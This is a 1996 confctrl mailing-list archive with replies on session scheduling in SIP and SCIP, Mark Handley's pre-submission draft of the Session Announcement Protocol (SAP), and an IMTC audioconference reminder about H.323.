From majordom@ISI.EDU  Fri Jun 14 20:40:27 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27834>; Fri, 14 Jun 1996 11:42:37 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27827>; Fri, 14 Jun 1996 11:42:27 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA28939>; Fri, 14 Jun 1996 11:42:24 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.00531-0@bells.cs.ucl.ac.uk>; Fri, 14 Jun 1996 19:40:39 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Cc: schulzrinne@fokus.gmd.de (Non Receipt Notification Requested),
        confctrl@ISI.EDU
Subject: Re: Session Scheduling
In-Reply-To: Your message of "Fri, 14 Jun 96 22:46:30 +0100." <83477079076470002BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
Date: Fri, 14 Jun 96 19:40:27 +0100
Message-Id: <17849.834777627@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


1) I don't see in the current drafts (SCIP-00 and SIP-00) any place
for time-slot negotiation (Am I wrong ?).

It's not in SIP because we hadn't though of it :-)

>2) SIP run after the session creation. I understood that SCIP should
>be run shortly before the beginning of a session. I want to be able
>to schedule a session a long time in advance.

Maybe the diagrams in the SIP spec are confusing here.  They are meant
to refer to typical sessions, but are not intended to be the only way
you can use SIP.  

*Normally* you use SIP before session start but after session
creation.  In lightweight sessions, session creation simply means
"allocating a multicast address".  In a tightly-coupled conference,
there is some form of admission control, and therefore whatever
performs that admission control needs to be initialised before the
first member can join the session.

>I don't want to push another protocol. If the scheduling and the
>time negotiation functionality could be added to SCIP or SIP, it will
>be perfectly OK. I was afraid of the added complexity, specially for
>the ligth connectionless architecture of SIP.

SIP (and I assume SCIP) could be extended to perform time-negotiation.
What you require is a form of multi-phase negotiation.  In SIP, one
way this could be done is by allowing a what-if type request, which
even if successful does not trigger session state caching at the
receiver until an actual request is made to finalise things.  It looks
like we may need this for some other forms of negotiation anyway.


As for the light connectionless archtecture of SIP...  well that
probably buys you more than it loses you in this case because it
allows a "disconnect" between receiving (and acking) the request and
then the invited party making a return "connection" when a reply is
available (if it isn't available immediately).  However, this does
require some more thought as to the implications...


The negotiation aspects of SIP are not really very well finalised yet
though, and it's possible that a better approach would be to use SIP
to locate a user's calendar manager and then allow that to perform the
sort of multi-phase negotiation that is required.  This is in line
with current ideas on how to use SIP to initiate an T.120 or H.323
session where more detailed negotiation is performed after initial
SIP-initiated contact.

Mark

From majordom@ISI.EDU  Sat Jun 15 11:50:25 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18018>; Sat, 15 Jun 1996 00:52:19 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18012>; Sat, 15 Jun 1996 00:52:15 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA00368>; Sat, 15 Jun 1996 00:52:13 -0700
Message-Id: <199606150752.AA00368@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Sat, 15 Jun 1996 09:50:30 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: Denis BIGORGNE <Denis.Bigorgne@sept.fr>, confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: Session Scheduling
In-Reply-To: Your message of "Fri, 14 Jun 1996 19:40:27 BST." <17849.834777627@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 15 Jun 1996 09:50:25 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> 1) I don't see in the current drafts (SCIP-00 and SIP-00) any place
> for time-slot negotiation (Am I wrong ?).
> 
SCIP has a very rudimentary form of time-slot negotiation: the caller 
can propose a time slot, and the callee can respond "no, but...", 
suggesting an alternate time slot. This would be a kind of redirect (in 
time, instead of space), similar to the HTTP response code that asks 
the client to try again later. If the caller (conference initiator, if 
you prefer) agrees, he/she makes a second call with the new time and 
the call attempt should succeed. Note that in both cases the call 
attempt does not have to happen at the time of the conference.

Instead of a single slot, the caller could offer a list of possible 
time alternatives. Indeed, one would probably want the ability to 
describe a set of alternative conferences, since different time slots 
may also imply different capabilities (say, I may be on the road for 
one of the time slots and thus only have audio available). Writing 
protocol description (assuming a suitably general session description 
language) is the easier part, presenting this to the user in an 
understandable fashion seems far harder.

Henning


From majordom@ISI.EDU  Mon Jun 17 23:53:09 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02168>; Mon, 17 Jun 1996 14:55:04 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02162>; Mon, 17 Jun 1996 14:55:02 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA07812>; Mon, 17 Jun 1996 14:55:00 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06376-0@bells.cs.ucl.ac.uk>; Mon, 17 Jun 1996 22:53:16 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl@ISI.EDU
Subject: Session Announcement Protocol Draft Draft
Date: Mon, 17 Jun 96 22:53:09 +0100
Message-Id: <4516.835048389@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


In the last couple of months many people have asked me for details of
SDAP (now called SAP) and how sdr works.  I've delayed, partly because
there are too many issues that are still in flux, and partly because I
haven't found enough time to write much down, for which I apologise!

The following draft is not yet submitted as an internet draft - the
security issues in particular need qualified peer-review.  There is
some argument as to whether SAP should include an authentication
header, or whether this should be left to the IPSEC AH.  Personally I
believe the SAP authentication header performs a different task from
the IPSEC AH, but I would like to hear other people's views on this.

I have not implemented from this draft yet - sdr merely performs SAPv0
as described.  The local area (LA-SDAP) issues I discussed in previous
IETF's are ommited from this draft because they're still too
experimental - it only deals with the wide-area announcements.

As postscript version (which might be easier to read) is available
from http://www.cs.ucl.ac.uk/staff/M.Handley/sap.00.2.ps.gz

Mark

--------


Internet Engineering Task Force					  MMUSIC WG
INTERNET-DRAFT						       Mark Handley
draft-ietf-mmusic-sap-00.ps						UCL
							      3rd June 1996


       SAP: Session Announcement Protocol (Version 1) [draft 0.2]



Status of this Memo

This  document	is an Internet-Draft.  Internet-Drafts are working docu-
ments of the Internet Engineering Task Force (IETF), its areas,	and  its
working	groups.	 Note that other groups	may also distribute working doc-
uments as Internet-Drafts.

Internet-Drafts	are draft documents valid for a	maximum	 of  six  months
and  may  be  updated,	replaced, or obsoleted by other	documents at any
time.  It is inappropriate to use Internet-Drafts as reference	material
or to cite them	other than as ``work in	progress.''

To  learn  the	current	 status	 of any	Internet-Draft,	please check the
``1id-abstracts.txt'' listing contained	in  the	 Internet-Drafts  Shadow
Directories    on   ftp.is.co.za   (Africa),   nic.nordu.net   (Europe),
munnari.oz.au  (Pacific	 Rim),	ds.internic.net	 (US  East  Coast),   or
ftp.isi.edu (US	West Coast).

Distribution of	this document is unlimited.


				Abstract


     This  document  describes	the  SAP  -  the  session directory
     announcement protocol, and	the related issues affecting  secu-
     rity  and scalability that	should be taken	into account by	the
     implementors of session directory tools.  It  is  a  companion
     document to draft-ietf-mmusic-sdp.


This  document is a product of the Multiparty Multimedia Session Control
(MMUSIC) working group of the Internet Engineering Task	Force.	Comments
are  solicited	and  should  be	addressed to the working group's mailing
list at	confctrl@isi.edu and/or	the author.


1.  Introduction

An mbone session directory is used to advertise	multimedia  conferences,
and  to	communicate the	session	addresses (whether multicast or	unicast)
and conference-tool-specific information  necessary  for  participation.
Such sessions are described using the Session Description Protocol (SDP)
which is described in a	companion draft.  This	document  describes  the



Handley								[Page 1]





INTERNET-DRAFT						  ??th June 1996


issues	involved  in  the  multicast announcement of session description
packets	and defines a packet format to	be  used  by  session  directory
clients.   SAP	v0  is currently implemented in	Sdr and	other compatible
tools.	This document describes	SAP v1,	which contains some enhancements
to the basic announcement model.  The differences between SAP v1 and SAP
v0 are described in Appendix A.	 Much of this document is concerned with
security  considerations  -  these  security considerations have not yet
been subject to	suitable peer-review, and this document	 should	 not  be
considered authoritative in this area.

2.  Background

IP  Multicast is an extension of internet routing that permits efficient
many-to-many communication.  It	is used	extensively for	multimedia  con-
ferencing.   Such  multimedia  sessions	 usually  have the property that
tight coordination of session membership is not	necessary; in  order  to
receive	 a  session, a user at a multicast-capable site	only has to know
the correct multicast group address for	the session  and  the  transport
ports  the  conferencing applications will use to receive the conference
data streams.

In order to assist the advertisement of	multicast sessions and to commu-
nicate	the  relevant  session setup information to prospective	partici-
pants, a distributed session directory is used.	 An instance of	 such  a
session	 directory periodically	multicasts packets containing a	descrip-
tion of	a multimedia session, and these	advertisements are  received  by
potential  participants	who can	use the	session	description to start the
tools required to participate  in  the	session.   The	companion  draft
``SDP:	Session	 Description Protocol''	describes a payload format suit-
able for such session descriptions.  This draft	describes the  distribu-
tion mechanism and packet format.


3.  The	SAP Protocol

SAP  is	 an announcement protocol for multicast	conference sessions.  An
SAP client that	announces a conference session	periodically  multicasts
an  announcement packet	to a well known	multicast address and port.  The
announcement is	multicast with the  same  scope	 (as  defined  by  group
address	 range	or  TTL)  as the session it is announcing.  This ensures
that the recipients of the announcement	can also be potential recipients
of the session the announcement	describes (bandwidth and other such con-
straints permitting).  This is also important for the scalability of the
protocol, as it	keeps local session announcements local.

The time period	between	one announcement and its repetition is dependent
on two factors - the scope (TTL) of the	session, and the number	of other
sessions  currently  being announced by	other session directory	clients.
The goal is to keep the	total bandwidth	being used  below  a  predefined
level for each scope.







Handley								[Page 2]





INTERNET-DRAFT						  ??th June 1996


Session	Announcement

A  session  to be announced is simply multicast	to the appropriate well-
known multicast	address	and port.  The announcement contains  a	 session
description  and,  optionally,	an  authentication  header.  The session
description may	be encrypted.

Session	Deletion

Sessions may be	deleted	in one of several ways:

Explicit Timeout
    The	session	description contains timestamp information which  speci-
    fies  a  start and end time	for the	session.  If the current time is
    later than the end-time for	the session, then the session is deleted
    from  the  receiver's  session  cache.   If	 an  announcement packet
    arrives with an end-time before the	current	time, it is ignored.

Implicit Timeout
    A session announcement message should be received  periodically  for
    each  session  description	in  a  receiver's  session  cache.   The
    announcement period	can be predicted by the	receiver from the set of
    sessions  currently	being announced.  If a session announcement mes-
    sage has not been received for ten times the announcement period, or
    half  an hour, whichever is	the greater, then the session is deleted
    from the receiver's	session	cache.	The  half  hour	 minimum  is  to
    allow for transient	network	partitionings.

Explicit Deletion
    A  session deletion	packet is received specifying the version of the
    session to be deleted.  If the cached session contains an  authenti-
    cation  header, the	session	deletion packet	must contain a signature
    signed by the same key.  If	the cached session does	not  contain  an
    authentication  header,  but  the  deletion	 packet	has the	same IP-
    source address (not	the SAP-stated source address in the packet)  as
    that  from	which the session announcement was originally announced,
    then the session is	deleted.    If neither of  these  conditions  is
    not	 the  case,  then  the session deletion	packet is ignored.  Note
    that IP source addresses can be spoofed, and although the RPF filter
    in	most  multicast	routing	algorithms will	result in the packet not
    being delivered in some cases, this	is  insufficient  protection  in
    many  cases,  and  an  authentication header should	be used	for such
    situations.

Session	Modification

A pre-announced	session	can be modified	by simply announcing  the  modi-
fied  session  description.   In  this case, the version hash in the SAP
header should be changed to indicate to	receivers that the  packet  con-
tents  should  be  parsed  (or decrypted and parsed if it is encrypted).
The session itself is uniquely identified by the SDP origin field in the
payload, and not by the	version	hash in	the SAP	header.

The same rules apply for session modification as for session deletion:



Handley								[Page 3]





INTERNET-DRAFT						  ??th June 1996


o   Either  the	 modified  announcement	 must  contain an authentication
    header signed by the same key as the cached	session	announcement  it
    is modifying, or:

o   The	 cached	 session announcement must not contain an authentication
    header, and	the session  modification  announcement	 must  originate
    from the same host as the session it is modifying.

If  an	announcement  is received containing a authentication header and
the cached announcement	did not	contain	an authentication header, or  it
contained   an	 different  authentication  header,  then  the	modified
announcement must be treated as	a new and  different  announcement,  and
displayed  in  addition	 to the	un-authenticated announcement.	The same
should happen if a modified packet without an authentication  header  is
received  from a different source than the original announcement.  These
rules prevent an announcement having an	authentication header added by a
malicious  user	 and  then  being deleted using	that header, and it also
prevents a denial-of-service attack  by	 someone  putting  out	a  spoof
announcement which, due	to packet loss,	reaches	some participants before
the original announcement.  Note that under  such  circumstances,  being
able  to authenticate the message originator is	the only way to	discover
which session is the correct session.

4.  Encrypted Announcements

Upon receiving a  new  announcement  with  the	encryption  bit	 set,  a
receiver should	attempt	to decrypt the announcement with each of its set
of session decryption keys.  If	it succeeds, then the  session	is  dis-
played	to the user.  If it does not succeed with any key, then	the ses-
sion is	ignored, but the version hash and original source are cached  to
avoid  having  to  attempt  to	decrypt	 this  announcement  in	 future.
(there's a denial of service attack on this cache unless we do a compar-
ison  of  he  enture session that needs	some more thought...) This cache
can be safely timed out	when the timeout specified in encrypted	 packets
expires.

Note  that  if an encrypted announcement is being announced via	a proxy,
then there may be no way for the proxy to discover that	the announcement
has  been  superseded,	and  so	 it  may  continue  to	announce the old
announcement in	addition to the	new announcement.  SAP provides	no mech-
anism  to  chain modified encrypted announcements, so it is necessary to
announce the unmodified	session	as deleted for some time after the modi-
fication  has  occurred.   This	does not guarantee that	all proxies have
deleted	the session, and so receivers of encrypted  sessions  should  be
prepared  to discard old versions of session announcements that	they may
receive	(as identified by the SDP version field).  In  most  cases  how-
ever,  the  only  stateful  proxy  will	 be  local to (and known to) the
sender,	and an additional (local-area) protocol	 involving  a  handshake
for such session modifications can be used to avoid this problem.








Handley								[Page 4]





INTERNET-DRAFT						  ??th June 1996


5.  Packet Format

SAP data packets are of	the following format:


 0		     1			 2		     3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| V=1 |	MT  |E|P|   auth len	|	 msg id	hash		|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|			  orig source				|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|		 optional authentication header			|
|			      ....				|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|		       optional	timeout				|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|		    optional random field			|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|			  text payload				|
|			      ....				|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+




V: Version Number

SAP version number = 1

MT: Message Type

One of the following:

0   Session description	announcement packet.  The text payload is an SDP
    session description, as described in draft-ietf-mmusic-sdp.

1   Session description	deletion packet.  The text payload is  a  single
    SDP	 line  consisting  of the origin field of the announcement to be
    deleted.

2   Multicast  address	test.	The  text  payload  contains  a	 session
    description	 in a format such as SDP containing addresses to be used
    in a  session.   The  session  is  being  test-announced  to  elicit
    responses  of  sessions  whose  multicast address may clash	with the
    test message.  Address test	messages  should  not  be  displayed  by
    clients.  Responses	to address-test	messages are described below.

E - Encryption Bit

If  the	 encryption  bit  is  set, the text payload of the SAP packet is
encrypted, and two additional fields are added to  the	packet:	 Timeout
and Random.  The Timeout field is not encrypted, but the Random	field is
encrypted along	with the text payload.	Note the encryption algorithm is



Handley								[Page 5]





INTERNET-DRAFT						  ??th June 1996


not  specified	in  the	 packet	 -  this  is  communicated  to permitted
receivers out-of-band along with the corresponding decryption key.


P - Padding Bit

If the data in the Authentication Header is not	a multiple of 32 bits in
length,	 it  is	padded to a multiple of	32 bits, the Padding bit is set,
and the	last byte of the authentication	header contains	 the  number  of
padding	 bytes (including the last byte) that must be discarded	from the
authentication header field.

Authentication Length:

A 8 bit	unsigned quantity giving the number of 32  bit	words  following
the  main SAP header that contain authentication data (and padding bytes
if present).  If it is zero, no	authentication header is present.


Authentication Header

This contains a	digital	signature (encrypted cryptographic hash) of  the
text  payload  (or expiry timestamp, and encrypted random field	and text
payload	if the payload is encrypted).  It also contains	the  public  key
with  which the	authentication header can be checked, and information to
identify the encryption	algorithm and mode used.  It can be used for two
purposes:

o   Verification  that changes to a session description	or deletion of a
    session are	permitted.

o   Authentication of the identity of the session creator.

In some	circumstances only Verification	is possible because  a	certifi-
cate  signed by	a mutually trusted person or authority is not available.
However, under such circumstances, the session originator may  still  be
authenticated  to be the same as the session originator	of previous ses-
sions claiming to be from the same person.  This may or	may not	be  suf-
ficient	depending on the purpose of the	session	and the	people involved.

Clearly	the key	given in the authentication header should not be trusted
to  belong  to	the  session  originator  unless  it has been separately
authenticated by some other means, such	as being certified by a	 trusted
third  party.	Such  certificates  are	 not normally included in an SAP
header because they take more space than can normally be afforded in  an
SAP  packet,  and  such	 verification  must therefore take place by some
other mechanism.  However, as certified	public keys are	normally locally
cached,	 authentication	of a particular	key only has to	take place once,
rather than every time the session directory retransmits  the  announce-
ment.

SAP  is	not tied to any	single authentication mechanism.  Authentication
Headers	must be	self-describing, but their precise format depends on the
authentication	mechanism  (signature and encryption scheme) in	use, and



Handley								[Page 6]





INTERNET-DRAFT						  ??th June 1996


so is not defined here.


Message	Identifier Hash

A 16 bit quantity that,	in combination with the	originating source, pro-
vides  a  globally  unique  id	identifying  the precise version of this
announcement.  The message id hash should be changed if	any field of the
session	 description  is changed.  A value of zero means the hash should
be ignored and the message should always be parsed.

Originating Source

This gives the IP address of the original source of the	message.  It  is
permissible  to	 be  zero  if the message has not passed through a proxy
relay and if the message id hash is also zero, though this  is	intended
only for backwards compatibility with SAPv0 clients.


Timeout

When  the  session  payload is encrypted, and the session description is
being relayed or announced via a proxy,	the detailed  timing  fields  in
the SDP	description are	not available to the proxy as they are encrypted
and the	proxy is not trusted with the decryption key.  Under  such  cir-
cumstances,  SAP  includes  an additional 32-bit timestamp field stating
when the session should	be timed out.  This field is included after  the
authentication	header,	 and the digital signature in the authentication
header encompasses the timeout so that a session cannot	 be  maliciously
deleted	by modifying its timeout in an announcing proxy.

The  value  is	an  unsigned quantity giving the NTP time [2] in seconds
that the session times out.


Random

This field is only  present  when  the	payload	 is  encrypted.	  It  is
encrypted  along with the payload, and is used to perform the randomisa-
tion task normally performed by	an initialisation vector  in  algorithms
such  as  cipher-block	chained	DES.  This 32 bit field	should contain a
genuinely random number.  After	decryption, this field is discarded.

6.  SDP	announcement by	periodic multicast.

SAP announces  multicast  sessions  by	periodic  multicast  of	 session
descriptions  to  an  appropriate well known multicast address and port.
The appropriate	address	is determined by the scope mechanisms  in  force
at the sites of	the intended participants.  IP multicast sessions can be
either TTL-scoped or administratively scoped.	One  well-known	 address
and port is used for all TTL-scoped announcements, and additionally, one
well-known address (within the corresponding scope  zone)  and	port  is
used  for each administrative scope zone that an instance of the session
directory is within.  Thus an instance of the session  directory  should



Handley								[Page 7]





INTERNET-DRAFT						  ??th June 1996


listen	on multiple multicast addresses, but should normally only send a
particular announcement	to the single multicast	address	corresponding to
the  scope of the session being	described.  The	discovery of administra-
tive scope zones and the appropriate announcement address for each  zone
are  outside  the  scope  of  this  draft,  but	 it is assumed that each
instance of the	session	directory within  a  particular	 scope	zone  is
aware of that scope zone, and of the corresponding announcement	address,
port, TTL, and session address allocation range.


TTL Scoped Announcement

The well-known address is 224.2.127.254	and the	UDP port is  9875.   The
session	 announcements	should be multicast with the same TTL with which
the conference session will be multicast. If the different media  in  an
announcement  are  given different TTLs, then multiple announcements are
necessary to ensure that anyone	 joining  the  conference  can	in  fact
receive	 data  for  each  media	 started.   For	 example,  if we have an
announcement to	make containing	audio at TTL 127 and video  at	TTL  63,
then we	make an	announcement at	TTL 63 containing both media, and a sep-
arate announcement at TTL 127 containing only the audio.  It  is  up  to
the  receiving session directory to parse both announcements as	the same
announcement if	it is within the appropriate scope to get both announce-
ments.	If multiple announcements are being made for the same session in
this way, then each announcement must  carry  an  authentication  header
signed by the same key,	or be treated as a completely separate announce-
ment.

The time period	between	one announcement and its repetition is dependent
on two factors - the scope (TTL) or the	session, and the number	of other
sessions currently being announced by other sd clients.

The recommended	bandwidth limits for each TTL are:

	  TTL	  bandwidth
	  1-15	  10Kbps
	  16-63	   2Kbps
	  64-127   1Kbps
	  128-255 200bps

Session	announcers in the same scope band can normally	be  expected  to
hear  your announcements, and reduce their data	rates accordingly.  Thus
you should calculate the available bandwidth for  your	session's  scope
band  by  dividing  the	 appropriate  limit above by the number	of other
announcers in your scope band.	This gives you	your  bandwidth	 alloca-
tion,  which, given the	size of	your data packets, can be used to derive
the base interval for announcements.

I.e., given a limit in bps (as above) and a ad_size in bytes,  the  base
announcement interval in seconds is:

      interval =(8*no_of_ads*ad_size)/limit

For  each  interval  between announcement packets, you must add	a random



Handley								[Page 8]





INTERNET-DRAFT						  ??th June 1996


value (+/- 1/3 of the base interval) to	the value used	for  the  inter-
announcement period to prevent announcement synchronisation.  It is also
important to keep monitoring other announcements  and  adjust  the  base
interval accordingly.

There  is possibility to adjust	the scope band limits depending	on prop-
erties of the sessions being announced,	but this is left for future  SAP
drafts to specify.

Administrative Scoped Announcements

For  each  administrative  scope  zone	in  force  at a	particular site,
instances of the session directory running at that site	need to	know the
following information:

o   The	 multicast address to be used for announcement.	 The is	normally
    the	highest	multicast address in the relevant  administrative  scope
    zone.    For   example,   if   the	scope  range  is  239.16.32.0  -
    239.16.33.255, then	the convention is that 239.16.33.255 is	used for
    session announcements.

o   The	UDP port announcements should be sent to.

o   The	 TTL  announcements  should  be	made with.  This should	be large
    enough to reach all	sites in the admin scope zone, and will	also  be
    the	TTL used for sessions announced	to be using this scope zone.

o   The	 address range to be used for sessions in this scope zone.  This
    should be a	contiguous range, and currently	should	lie  within  the
    range 239.0.0.0 to 239.255.255.255 (but this is defined by IANA, not
    by this draft).

o   The	total bandwidth	to be used by the session directory for	 session
    announcements in this admin	scope zone.  A recommended default value
    for	this is	500bps,	but this may be	inappropriate for some uses.

7.  Security Considerations

SAP contains mechanisms	for ensuring integrity of session announcements,
for authenticating the origin of an announcement and for encrypting such
announcements.	These mechanisms have not yet been subject  to	suitable
peer-review, and this document should not be considered	authoritative in
this area at this time.

SAP contains mechanisms	that are designed to prevent an	announcement  by
one  user  from	 being	modified or deleted by another user, and also to
provide	limited	privacy	by use of encryption.

Session	announcements that are encrypted with a	symmetric algorithm  may
allow  a  degree  of  privacy  in  the announcement of a session, but it
should be recognised that a user in possession of such a key can pass it
on  to	other users who	should not be in possession of such a key.  Thus
announcements to such a	group of key holders cannot be assumed	to  have
come  from  an	authorised  key	 holder	 unless	 there is an appropriate



Handley								[Page 9]





INTERNET-DRAFT						  ??th June 1996


authentication header signed by	an authorised key holder.   In	addition
the recipients of such encrypted announcements cannot be assumed to only
be authorised key holders.  Such encrypted announcements do not	 provide
any  real  security unless all of the authorised key holders are trusted
to maintain security of	such session directory keys.  This  property  is
shared	by  the	multicast session tools	themselves, where it is	possible
for an un-trustworthy member of	the session to pass on	encryption  keys
to  un-authorised  users.   However  it	is likely that keys used for the
session	tools will be more short  lived	 that  those  used  for	 session
directories.

Similar	 considerations	 should	 apply	when  session  announcements are
encrypted with an assymetric algorithm,	 but  then  it	is  possible  to
restrict the possessor(s) of the private key, so that announcements to a
key-holder group can not be made, even if one of the  untrusted	 members
of the group proves to be un-trustworthy.

As stated above, if a session modification announcement	is received that
contains a valid authentication	header,	but which is not signed	 by  the
original  creator  of the session, then	the session must be treated as a
new session in addition	to the original	session	with the same SDP origin
information unless the originator of one of the	session	descriptions can
be authenticated using a certificate signed by a  trusted  third  party.
If  this  were	not  done,  there  would be a possible denial of service
attack whereby a party listens for new	announcements,	strips	off  the
original authentication	header,	modifies the session description, adds a
new authentication header and re-announces the session.	 If a  rule  was
imposed	 that such spoof announcements were ignored, then if packet loss
or late	starting of a session directory	 instance  caused  the	original
announcement to	fail to	arrive at a site, but the spoof	announcement did
so, this  would	 then  prevent	the  original  announcement  from  being
accepted at that site.

A similar denial-of-service attack is possible if a session announcement
receiver relies	completely on the originating source and hash fields  to
indicate  change,  and fails to	parse the remainder of announcements for
which it has seen the announcement the origin/hash combination before.

A denial of service attack is possible from a malicious	site close to  a
legitimate site	which is making	a session announcement.	 This can happen
if the malicious site floods the legitimate site with  huge  numbers  of
(illegal)  low ttl announcements describing high ttl sessions.	This may
reduce the session announcement.  rate of the legitimate announcement to
below  a  tenth	of the rate expected at	remote sites and therefore cause
the session to time  out.   Such  an  attack  is  likely  to  be  easily
detectable, and	we do not provide any mechanism	here to	prevent	it.


Appendix A: Summary of differences between SAPv0 and SAPv1

For  this purpose SAPv0	is defined as the protocol in use by version 2.2
of the Sdr session description tool.  SAPv1  is	 the  proposed	protocol
described  in  the document.  The packet headers of SAP	messages are the
same in	V0 and V1 in that a V1 tool can	parse a	V0  announcement  header



Handley							       [Page 10]





INTERNET-DRAFT						  ??th June 1996


but not	vice-versa.

In SAPv0, the fields have the following	values:

o   Version Number: 0

o   Message Type: 0 (Announcement)

o   Authentication Type: 0 (No Authentication)

o   Message Id Hash: 0 (No Hash	Specified)

o   Originating	 Source:  0  (No  source specified, announcement has not
    been relayed)


Appendix B: Author's Address

Mark Handley
Department of Computer Science
University College London
London WC1E 6BT
United Kingdom
electronic mail: M.Handley@cs.ucl.ac.uk



Acknowledgments

SAP and	SDP were originally based on the protocol used by the sd session
directory  from	 Van  Jacobson at LBNL.	 The design of SAP was funded by
the European Commission	under the Esprit 7602 "MICE"  project,	and  the
Telematics 1007	"MERCI"	project.

References

[1]  M.Handley,	 V.  Jacobson,	``SDP:	Session	 Description Protocol'',
INTERNET-DRAFT,	June 1996.

[2] D. Mills, ``Network	Time Protocol version 2	specification and imple-
mentation", RFC1119, 1st Sept 1989.
















Handley							       [Page 11]



From majordom@ISI.EDU  Sun Jun 19 22:41:24 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13060>; Thu, 20 Jun 1996 10:23:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13047>; Thu, 20 Jun 1996 10:23:10 -0700
Received: from gateway-gw.pictel.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA13216>; Thu, 20 Jun 1996 10:23:09 -0700
Received: from roadrunner.pictel.com by gateway-gw.pictel.com (4.1/cf.gw.940128.1740)
	id AA00781; Thu, 20 Jun 96 13:23:07 EDT
Received: from smtpnotes.pictel.com by roadrunner.pictel.com (4.1/runner.910925.1)
	id AA09491; Thu, 20 Jun 96 13:23:06 EDT
Received: by smtpnotes.pictel.com (4.1/SMI-4.1)
	id AA01786; Thu, 20 Jun 96 13:23:04 EDT
Message-Id: <9606201723.AA01786@smtpnotes.pictel.com>
Received: from PicTel with "Lotus Notes Mail Gateway for SMTP" id
  9810D1BA0D6C0A6B8525634F005F2A5B; Thu, 20 Jun 96 17:23:02 
To: h32z2-list <h32z2-list@mtgbcs.mt.att.com>, imtc <imtc@world.std.com>,
        rem-conf <rem-conf@es.net>, confctrl <confctrl@ISI.EDU>
From: Rich Baker/PicTel <Rich_Baker@smtpnotes.pictel.com>
Date: 20 Jun 96  2:41:24 EDT
Subject: Reminder: IMTC CNC audiocall on H.323 tomorrow 6/20
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi folks:

Apologies for duplicate postings...

This is a reminder that we will convene an IMTC sponsored CNC AG 
audioconference this Thursday (tomorrow), 20 Jun, at 8am West Coast, 11am East 
Coast, 4pm UK time, for two hours.  

Four agenda items thus far:

1)  THUNDEROUS APPLAUSE!  H.323 "Decided" in Geneva 28 May 96!

2)  Update on SG15 meeting held in Geneva  (Gary, Dale, Mark, et al.)

3)  Now that H.323 is Decided -- time to begin the process of enhancing it with 
more "way cool" stuff:
 o  What do we want to accomplish?
 o  By when?
 o  How best to facilitate the process?
 o  Schedule follow on IMTC CNC AG meetings

4)  Brief status report/update on Jim Toga's sub-group on H.323 Implementation.


Where:   +1-212-346-0450.  
When:   8am Pacific, 11am East Coast, 4pm U.K.
Duration:  2 hours
Confirmation #172 0506
Chair:  Rich Baker

Note that this conference is automated, so please honor the open nature of 
these meetings and announce your name when you join.  They are scheduled 
through ConferTech, at +1-800-252-5150 or +1-303-633-3000.

All IMTC CNC AG members and other folks deeply involved in multimedia 
collaboration over IP-multicast intranets using H.323 are invited to attend 
these meetings.  I have reserved only 20 ports for the audiocall.  So... if you 
are a "worker bee", please join us!  If you just want to be a "fly on the 
wall," please leave the port open for a "bee" instead...


Cheers,
-rich baker
 IMTC Corporate Network Conferencing AG Chair
 PictureTel Corporation
 +1-508-292-5936 (new phone number)
 bake@pictel.com

From majordom@ISI.EDU  Thu Jun 20 10:52:13 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00455>; Thu, 20 Jun 1996 17:52:28 -0700
